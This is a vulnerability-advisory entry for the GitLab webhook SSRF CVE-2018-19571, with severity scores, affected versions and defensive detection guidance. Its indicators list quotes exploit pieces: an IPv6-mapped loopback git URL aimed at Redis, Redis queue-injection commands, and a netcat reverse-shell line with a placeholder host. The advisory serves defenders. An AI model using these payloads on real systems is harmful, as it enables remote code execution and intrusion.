CVE-2018-19571: GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.

PriorityP265high7.7CVSS 3.1

AVNACLPRLUINSCCHINAN

EXPLOIT

EPSS

32.06%

98.3th percentile

GitLab CE/EE, versions 8.18 up to 11.x before 11.3.11, 11.4 before 11.4.8, and 11.5 before 11.5.1, are vulnerable to an SSRF vulnerability in webhooks.

Affected

6 ranges

Vendor	Product	Version range	Fixed in
debian	gitlab	< gitlab 11.3.11+dfsg-1 (sid)	gitlab 11.3.11+dfsg-1 (sid)
gitlab	gitlab	—	—
gitlab	gitlab	>= 11.4.0 < 11.4.8	11.4.8
gitlab	gitlab	>= 11.5.0 < 11.5.1	11.5.1
gitlab	gitlab	>= 8.18.0 < 11.3.11	11.3.11
gitlab	gitlab_ce	—	—

Detection & IOCsextracted from sources · hover to see the quote

urlgit://[0:0:0:0:0:ffff:127.0.0.1]:6379/↗

urlgit%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git↗

port6379↗

commandmulti sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push↗

commandopen('|nc <ip> <port> -e /bin/sh').read↗

otherresque:gitlab:queue:system_hook_push↗

path/projects/new↗

path/users/sign_in↗

→Detect SSRF via git import_url using IPv6-mapped IPv4 loopback address targeting Redis on port 6379 — the core exploitation primitive for CVE-2018-19571. ↗
→Monitor for the anomalous User-Agent 'Moana Browser 1.0' in HTTP requests to GitLab, associated with exploit script 49257. ↗
→Flag POST to /projects with Content-Type application/x-www-form-urlencoded containing the string 'resque:gitlab:queue:system_hook_push' in the body. ↗
→Detect outbound connections from the GitLab server to 127.0.0.1:6379 (Redis) originating from the git import/clone functionality, indicating SSRF exploitation. ↗

·Exploitation requires an authenticated GitLab session; the SSRF in webhooks/import_url is chained with CVE-2018-19585 (CRLF injection) to achieve RCE. Blocking unauthenticated access alone is insufficient. ↗
·The exploit targets GitLab running on non-standard port 5080 in the tested environment; detection rules should not be limited to port 80/443. ↗
·Affected versions span a wide range (8.18 through 11.5.0); patched versions are 11.3.11, 11.4.8, and 11.5.1. Ensure version checks cover all branches. ↗

CVSS provenance

nvdv3.17.7HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

nvdv2.04.0MEDIUMAV:N/AC:L/Au:S/C:P/I:N/A:N

vendor_debian7.7HIGH

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